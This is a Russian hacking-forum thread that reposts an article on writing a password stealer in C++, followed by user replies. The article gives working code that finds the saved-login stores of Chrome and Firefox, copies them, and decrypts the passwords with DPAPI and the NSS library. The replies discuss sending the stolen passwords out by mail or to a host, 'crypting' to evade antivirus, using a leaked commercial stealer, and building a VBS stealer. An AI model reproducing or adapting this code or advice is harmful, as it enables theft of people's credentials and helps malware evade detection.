• Уменьшение отступа

    Обратная связь

    (info@ru-sfera.pw)

Малварь как искусство Манн по написанию стилера с хакера


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 175
Оригинал:

Ты наверняка слышал о таком классе зловредных приложений, как стилеры. Их задача — вытащить из системы жертвы ценные данные, в первую очередь — пароли. В этой статье я расскажу, как именно они это делают, на примере извлечения паролей из браузеров Chrome и Firefox и покажу примеры кода на C++.

Итак, браузеры, в основе которых лежит Chrome или Firefox, хранят логины и пароли пользователей в зашифрованном виде в базе SQLite. Эта СУБД компактна и распространяется бесплатно по свободной лицензии. Так же, как и рассматриваемые нами браузеры: весь их код открыт и хорошо документирован, что, несомненно, поможет нам.

В примере модуля стилинга, который я приведу в статье, будет активно использоваться CRT и другие сторонние библиотеки и зависимости, типа sqlite.h. Если тебе нужен компактный код без зависимостей, придется его немного переработать, избавившись от некоторых функций и настроив компилятор должным образом.

Что скажет антивирус?

Рекламируя свои продукты, вирусописатели часто обращают внимание потенциальных покупателей на то, что в данный момент их стилер не «палится» антивирусом.

Тут надо понимать, что все современные и более-менее серьезные вирусы и трояны имеют модульную структуру, каждый модуль в которой отвечает за что-то свое: один модуль собирает пароли, второй препятствует отладке и эмуляции, третий определяет факт работы в виртуальной машине, четвертый проводит обфускацию вызовов WinAPI, пятый разбирается со встроенным в ОС файрволом.

Так что судить о том, «палится» определенный метод антивирусом или нет, можно, только если речь идет о законченном «боевом» приложении, а не по отдельному модулю.

Chrome

Начнем с Chrome. Для начала давай получим файл, где хранятся учетные записи и пароли пользователей. В Windows он лежит по такому адресу:
C:\Users\%username%\AppData\Local\Google\Chrome\UserData\Default\Login Data

Чтобы совершать какие-то манипуляции с этим файлом, нужно либо убить
все процессы браузера, что будет бросаться в глаза, либо куда-то
скопировать файл базы и уже после этого начинать работать с ним.

Давай напишем функцию, которая получает путь к базе паролей Chrome. В
качестве аргумента ей будет передаваться массив символов с результатом
ее работы (то есть массив будет содержать путь к файлу паролей Chrome).

C++:
#define CHROME_DB_PATH  "\\Google\\Chrome\\User Data\\Default\\Login Data"

bool get_browser_path(char * db_loc, int browser_family, const char * location) {
    memset(db_loc, 0, MAX_PATH);
    if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
        return 0;
    }
    if (browser_family == 0) {
        lstrcat(db_loc, TEXT(location));
        return 1;
    }
}

Вызов функции:

C++:
char browser_db[MAX_PATH];
get_browser_path(browser_db, 0, CHROME_DB_PATH);

Давай вкратце поясню, что здесь происходит. Мы сразу пишем эту
функцию, подразумевая будущее расширение. Один из ее аргументов — поле browser_family,
оно будет сигнализировать о семействе браузеров, базу данных которых мы
получаем (то есть браузеры на основе Chrome или Firefox).

Если условие browser_family == 0 выполняется, то получаем базу паролей браузера на основе Chrome, если browser_family == 1 — Firefox. Идентификатор CHROME_DB_PATH указывает на базу паролей Chrome. Далее мы получаем путь к базе при помощи функции SHGetFolderPath, передавая ей в качестве аргумента CSIDL значение CSIDL_LOCAL_APPDATA, которое означает:

C++:
#define CSIDL_LOCAL_APPDATA 0x001c // <user name>\Local Settings\Applicaiton Data (non roaming)

Функция SHGetFolderPath устарела, и в Microsoft рекомендуют использовать вместо нее SHGetKnownFolderPath.
Проблема в том, что поддержка этой функции начинается с Windows Vista,
поэтому я применил ее более старый аналог для сохранения обратной
совместимости. Вот ее прототип:

C++:
HRESULT SHGetFolderPath(      
    HWND hwndOwner,
    int nFolder,
    HANDLE hToken,
    DWORD dwFlags,
    LPTSTR pszPath
);

После этого функция lstrcat совмещает результат работы SHGetFolderPath с идентификатором CHROME_DB_PATH.

База паролей получена, теперь приступаем к работе с ней. Как я уже
говорил, это база данных SQLite, работать с ней удобно через SQLite API,
которые подключаются с заголовочным файлом sqlite3.h. Давай скопируем
файл базы данных, чтобы не занимать его и не мешать работе браузера.

C++:
int status = CopyFile(browser_db, TEXT(".\\db_tmp"), FALSE);
if (!status) {
    // return 0;
}

Теперь подключаемся к базе командой sqlite3_open_v2. Ее прототип:

C++:
int sqlite3_open_v2(
    const char *filename,   /* Database filename (UTF-8) */
    sqlite3 **ppDb,         /* OUT: SQLite db handle */
    int flags,              /* Flags */
    const char *zVfs        /* Name of VFS module to use */
);

Первый аргумент — наша база данных; информация о подключении возвращается во второй аргумент, дальше идут флаги открытия, а четвертый
аргумент определяет интерфейс операционной системы, который должен использовать это подключение к базе данных, в нашем случае он не нужен.

Если эта функция отработает корректно, возвращается значение SQLITE_OK, в противном случае возвращается код ошибки.

C++:
sqlite3 *sql_browser_db = NULL;
status = sqlite3_open_v2(TEMP_DB_PATH, 
                &sql_browser_db, 
                SQLITE_OPEN_READONLY, 
                NULL);
if(status != SQLITE_OK) {
    sqlite3_close(sql_browser_db);
    DeleteFile(TEXT(TEMP_DB_PATH));
}

Обрати внимание: при некорректной отработке функции нам все равно необходимо самостоятельно закрыть подключение к базе и удалить ее копию.


Теперь начинаем непосредственно обрабатывать данные в базе. Для этого воспользуемся функцией sqlite3_exec().
C++:
status = sqlite3_exec(sql_browser_db, 
            "SELECT origin_url, username_value, password_value FROM logins", 
            crack_chrome_db, 
            sql_browser_db, 
            &err);
if (status != SQLITE_OK)
    return 0;

Эта функция имеет такой прототип:

C++:
int sqlite3_exec(
    sqlite3*,                          /* An open database */
    const char *sql,                   /* SQL to be evaluated */
    int (*callback)(void*,int,char**,char**),  /* Callback */
    void *,                            /* 1st argument to callback */
    char **errmsg                      /* Error msg written here */
);

Первый аргумент — наша база паролей, второй — это команда SQL, которая вытаскивает URL файла, логин, пароль и имя пользователя, третий
аргумент — это функция обратного вызова, которая и будет расшифровывать пароли, четвертый — передается в нашу функцию обратного вызова, ну а
пятый аргумент сообщает об ошибке.

Давай остановимся подробнее на callback-функции, которая расшифровывает пароли. Она будет применяться к каждой строке из выборки нашего запроса SELECT. Ее прототип — int (*callback)(void*,int,char**,char**), но все аргументы нам не понадобятся, хотя объявлены они должны быть.

Саму функцию назовем crack_chrome_db, начинаем писать и объявлять нужные переменные:

C++:
int crack_chrome_db(void *db_in, int arg, char **arg1, char **arg2) {

DATA_BLOB data_decrypt, data_encrypt;
sqlite3 *in_db = (sqlite3*)db_in;
BYTE *blob_data = NULL;
sqlite3_blob *sql_blob = NULL;

char *passwds = NULL;

while (sqlite3_blob_open(in_db, "main", "logins", "password_value", count++, 0, &sql_blob) != SQLITE_OK && count <= 20 );

В этом цикле формируем BLOB (то есть большой массив двоичных данных). Далее выделяем память, читаем блоб и инициализируем поля DATA_BLOB:

C++:
int sz_blob;
int result;

sz_blob = sqlite3_blob_bytes(sql_blob);
dt_blob = (BYTE *)malloc(sz_blob);

if (!dt_blob) {
    sqlite3_blob_close(sql_blob);
    sqlite3_close(in_db);
}

data_encrypt.pbData = dt_blob;
data_encrypt.cbData = sz_blob;

А теперь приступим непосредственно к дешифровке. База данных Chrome зашифрована механизмом Data Protection Application Programming Interface
(DPAPI). Суть этого механизма заключается в том, что расшифровать данные можно только под той учетной записью, под которой они были зашифрованы. Другими словами, нельзя стащить базу данных паролей, а потом расшифровать ее уже на своем компьютере.

Для расшифровки данных нам потребуется функция CryptUnprotectData.

C++:
DPAPI_IMP BOOL CryptUnprotectData(
    DATA_BLOB                 *pDataIn,
    LPWSTR                    *ppszDataDescr,
    DATA_BLOB                 *pOptionalEntropy,
    PVOID                     pvReserved,
    CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct,
    DWORD                     dwFlags,
    DATA_BLOB                 *pDataOut
);

if (!CryptUnprotectData(&data_encrypt, NULL, NULL, NULL, NULL, 0, &data_decrypt)) {
    free(dt_blob);
    sqlite3_blob_close(sql_blob);
    sqlite3_close(in_db);
}

После этого выделяем память и заполняем массив passwds расшифрованными данными.

C++:
passwds = ( char *)malloc(data_decrypt.cbData + 1);
memset(passwds, 0, data_decrypt.cbData);

int xi = 0;
while (xi < data_decrypt.cbData) {
    passwds[xi] = (char)data_decrypt.pbData[xi];
    ++xi;
}

Собственно, на этом все! После этого passwds будет содержать учетные записи пользователей и URL. А что делать с этой информацией — вывести ее на экран или сохранить в файл и отправить куда-то его — решать тебе.

Firefox

Переходим к Firefox. Это будет немного сложнее, но мы все равно справимся!

Для начала давай получим путь до базы данных паролей. Помнишь, в нашей универсальной функции get_browser_path мы передавали параметр browser_family? В случае Chrome он был равен нулю, а для Firefox поставим 1.

C++:
bool get_browser_path(char * db_loc, int browser_family, const char * location) {
    ...
    if (browser_family == 1) {
        memset(db_loc, 0, MAX_PATH);
        if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
            // return 0;
        }

В случае с Firefox мы не сможем, как в Chrome, сразу указать путь до папки пользователя. Дело в том, что имя папки пользовательского профиля
генерируется случайно. Но это ерундовая преграда, ведь мы знаем начало пути (\\Mozilla\\Firefox\\Profiles\\). Достаточно поискать в нем объект «папка» и проверить наличие в ней файла \\logins.json«.

Именно в этом файле хранятся интересующие нас данные логинов и паролей.

Разумеется, в зашифрованном виде. Реализуем все это в коде.

C++:
lstrcat(db_loc, TEXT(location));

// Объявляем переменные
const char * profileName = "";
WIN32_FIND_DATA w_find_data;
const char * db_path = db_loc;

// Создаем маску для поиска функцией FindFirstFile
lstrcat((LPSTR)db_path, TEXT("*"));

// Просматриваем, нас интересует объект с атрибутом FILE_ATTRIBUTE_DIRECTORY
HANDLE gotcha = FindFirstFile(db_path, &w_find_data);

while (FindNextFile(gotcha, &w_find_data) != 0){
    if (w_find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
        if (strlen(w_find_data.cFileName) > 2) {
            profileName = w_find_data.cFileName;
        }
    }
}
// Убираем звездочку :)
db_loc[strlen(db_loc) - 1] = '\0';

lstrcat(db_loc, profileName); 

// Наконец, получаем нужный нам путь
lstrcat(db_loc, "\\logins.json");

return 1;

В самом конце переменная db_loc, которую мы передавали в качестве аргумента в нашу функцию, содержит полный путь до файла logins.json, а функция возвращает 1, сигнализируя о том, что она отработала корректно.

Теперь получим хендл файла паролей и выделим память под данные. Для получения хендла используем функцию CreateFile, как советует MSDN.

C++:
DWORD read_bytes = 8192;
DWORD lp_read_bytes;

char *buffer = (char *)malloc(read_bytes);
HANDLE db_file_login = CreateFileA(original_db_location, 
                GENERIC_READ, 
                FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, 
                NULL, OPEN_ALWAYS, 
                FILE_ATTRIBUTE_NORMAL,  
                NULL);

ReadFile(db_file_login, buffer, read_bytes, &lp_read_bytes, NULL);

Все готово, но в случае с Firefox все не будет так просто, как с Chrome, — мы не сможем просто получить нужные данные обычным запросом
SELECT, да и шифрование не ограничивается одной-единственной функцией WinAPI.

Network Security Services (NSS)

Браузер Firefox активно использует функции для реализации шифрования своей базы. Эти функции находятся в динамической библиотеке, которая лежит по адресу C:\Program Files\Mozilla Firefox\nss3.dll.

Все интересующие нас функции нам придется получить из этой DLL. Сделать это можно стандартным образом, при помощи LoadLibrary\GetProcAdress. Код однообразный и большой, поэтому я просто приведу список функций, которые нам понадобятся:
  • NSS_Init;
  • PL_Base64Decode;
  • PK11SDR_Decrypt;
  • PK11_Authenticate;
  • PK11_GetInternalKeySlot;
  • PK11_FreeSlot.
Это функции инициализации механизма NSS и расшифровки данных.

Давай напишем функцию расшифровки, она небольшая. Я добавлю комментарии, чтобы все было понятно.

C++:
char * data_uncrypt(std::string pass_str) {
    // Объявляем переменные
    SECItem crypt;  
    SECItem decrypt;
    PK11SlotInfo *slot_info;

    // Выделяем память для наших данных
    char *char_dest = (char *)malloc(8192); 
    memset(char_dest, NULL, 8192);
    crypt.data = (unsigned char *)malloc(8192);
    crypt.len = 8192;
    memset(crypt.data, NULL, 8192);

    // Непосредственно расшифровка функциями NSS
    PL_Base64Decode(pass_str.c_str(), pass_str.size(), char_dest);
    memcpy(crypt.data, char_dest, 8192);
    slot_info = PK11_GetInternalKeySlot();
    PK11_Authenticate(slot_info, TRUE, NULL);
    PK11SDR_Decrypt(&crypt, &decrypt, NULL);
    PK11_FreeSlot(slot_info);

    // Выделяем память для расшифрованных данных
    char *value = (char *)malloc(decrypt.len);
    value[decrypt.len] = 0;
    memcpy(value, decrypt.data, decrypt.len);

    return value;
}

Теперь осталось парсить файл logins.json и применять нашу функцию расшифровки. Для краткости кода я буду использовать и их .

C++:
string decode_data = buffer;

// Определяем регулярки для сайтов, логинов и паролей
regex user("\"encryptedUsername\":\"([^\"]+)\"");
regex passw("\"encryptedPassword\":\"([^\"]+)\"");
regex host("\"hostname\":\"([^\"]+)\"");

// Объявим переменную и итератор
smatch smch;
string::const_iterator pars(decode_data.cbegin());

// Парсинг при помощи regex_search, расшифровка данных нашей
// функцией data_uncrypt и вывод на экран расшифрованных данных
do {
    printf("Site\t: %s", smch.str(1).c_str());
    regex_search(pars, decode_data.cend(), smch, user);
    printf("Login: %s", data_uncrypt(smch.str(1)));

    regex_search(pars, decode_data.cend(), smch, passw);
    printf("Pass: %s",data_uncrypt( smch.str(1)));

    pars += smch.position() + smch.length();

} while (regex_search(pars, decode_data.cend(), smch, host));


Заключение

Мы разобрались, как хранятся пароли в разных браузерах, и узнали, что нужно делать, чтобы их извлечь. Можно ли защититься от подобных методов восстановления сохраненных паролей? Да, конечно. Если установить в браузере мастер-пароль, то он выступит в качестве криптографической соли для расшифровки базы данных паролей. Без ее знания восстановить данные будет невозможно.
 

EH20

Пользователь
Форумчанин
Регистрация
28.12.2018
Сообщения
22
Репутация
2
ну обзор подробный. хорошо что автор так расписал. но тема *сисек* не раскрыта должным образом. так что считаю логичным добавить кривые но работающие осторожно пожалуйста - код кривой местами (не мой, хотя у меня самого руки из жопы) но реализовано по сути. и еще - по умолчанию либа фокса - 64 битная на всех пк - так что бы не сломаться - компилим под 64 битную архитектуру.
ps. admin ты как всегда классный
 

Iogan

Пользователь
Форумчанин
Регистрация
19.05.2018
Сообщения
17
Репутация
1
Интересно кто что узнать из статьи .
fgh678 Вопрос по теме , так как вы знакомы с несколькими языками программирования , может подскажете ?
Есть утилита UTILITA.exe которая запускается из CMD с дополнительными параметрами и сохраняет файл в директорию С:\Пользователи\Ivan_Ivani4\passwords.txt
Вопрос : как реализовать или дописать к другой програмке которая отправит passwords.txt на почту или как логи на хост . Это сложно , возможно ? on ke1fir
 

EH20

Пользователь
Форумчанин
Регистрация
28.12.2018
Сообщения
22
Репутация
2
Нафига ебаться и расшифровывать пароли локально ,когда можно отослать sql файл на сервер и все это делать на стороне админки.
dpapi в windows как раз не дает тебе этого сделать, да вообще любая система шифрования в 21 веке предусматривает таку весчь как соль. так что изучайте
 

EH20

Пользователь
Форумчанин
Регистрация
28.12.2018
Сообщения
22
Репутация
2
Интересно кто что узнать из статьи .
fgh678 Вопрос по теме , так как вы знакомы с несколькими языками программирования , может подскажете ?
Есть утилита UTILITA.exe которая запускается из CMD с дополнительными параметрами и сохраняет файл в директорию С:\Пользователи\Ivan_Ivani4\passwords.txt
Вопрос : как реализовать или дописать к другой програмке которая отправит passwords.txt на почту или как логи на хост . Это сложно , возможно ? on ke1fir
если про вебпассвью, конечно возможно, но она вам ничего не даст то по сути. потому что куки не тырятся. проще уж взять рабочий аналог стиллера с гитхаба какой нибудь.
 

Iogan

Пользователь
Форумчанин
Регистрация
19.05.2018
Сообщения
17
Репутация
1
если про вебпассвью, конечно возможно, но она вам ничего не даст то по сути. потому что куки не тырятся. проще уж взять рабочий аналог стиллера с гитхаба какой нибудь.
Интересно а бывают стллеры не палящиеся АВ ? Или опять к криптованию обращаться придется , а так я подумал что есть утилита похожая на Вебпас , тырит пасы и сохраняет в тхт . Вот всю эту процедуру возможно прописать БаНтиком , или нашел еще способ AutoIT - ом .
 

EH20

Пользователь
Форумчанин
Регистрация
28.12.2018
Сообщения
22
Репутация
2
Интересно а бывают стллеры не палящиеся АВ ? Или опять к криптованию обращаться придется , а так я подумал что есть утилита похожая на Вебпас , тырит пасы и сохраняет в тхт . Вот всю эту процедуру возможно прописать БаНтиком , или нашел еще способ AutoIT - ом .
тогда проще уже на автоите полностью найти исходники стиллера, благо их полно в сети. и не мучать себя дропом файла на жеский диск из FileInstall и запуском его через туже консоль. Дроп файлов палится по рантайму.
А насчет стиллеров не палящихся АВ то есть. Конечно есть - те которые вы сделали сами и они не выставленны на продажу. Любой софт в начале своей жизни имеет минимум детектов по скантайму, но все равно от ухода от рантайма это не спасает.
Кстати че вы мучаетесь? Фоксовский слил свой стиллер в паблик, любой может поставить себе его и пользовать, короч - аркей слит в паблик, работает бот. Берешь и делаешь себе стиллак. вот офиц бот @arkeibot в тг. но правда за честность фоксовского - я не отвечаю. детекты к тому же. криптовать в любом случае - придется увсё.
 

EH20

Пользователь
Форумчанин
Регистрация
28.12.2018
Сообщения
22
Репутация
2
Интересно а бывают стллеры не палящиеся АВ ? Или опять к криптованию обращаться придется , а так я подумал что есть утилита похожая на Вебпас , тырит пасы и сохраняет в тхт . Вот всю эту процедуру возможно прописать БаНтиком , или нашел еще способ AutoIT - ом .
либо же найдите продавца стиллера на автоите. возьмите у него билд на тест и слейте декомпильнутый код на гитхаб.
photo_2018-12-29_22-54-41.jpg

 

Iogan

Пользователь
Форумчанин
Регистрация
19.05.2018
Сообщения
17
Репутация
1
Да предложения интересные , но очень хочется изЪябнуться и сделать по своему ... Нашел более менне метод . Застрял на проблеме мелкой по своей сути, но что то не как не решаемой .
Речь идет о VBS : в коде никак не могу задать относительный путь к файлу , так как каждый раз имя польхователя будет разное , но очень важно чтобы путь был именно в эту папку
ПРИМЕР : %SYSTEMDRIVE%\Users\%UserName%\xxx.txt
но как это сделать в VBS не нашел или не сообразил куда нужно вставить куски кода .
В целом такая технология позволит использовать её как стилер вообще без палева , если не считать СИ.
Если есть познания в области Vbs можете подсказать как правильно дописать код?
отрывок кода:
Код:
Dim strSourceFile
Dim strContent


strSourceFile = "С:\users\harakiri\xxx.txt"
 
Верх Низ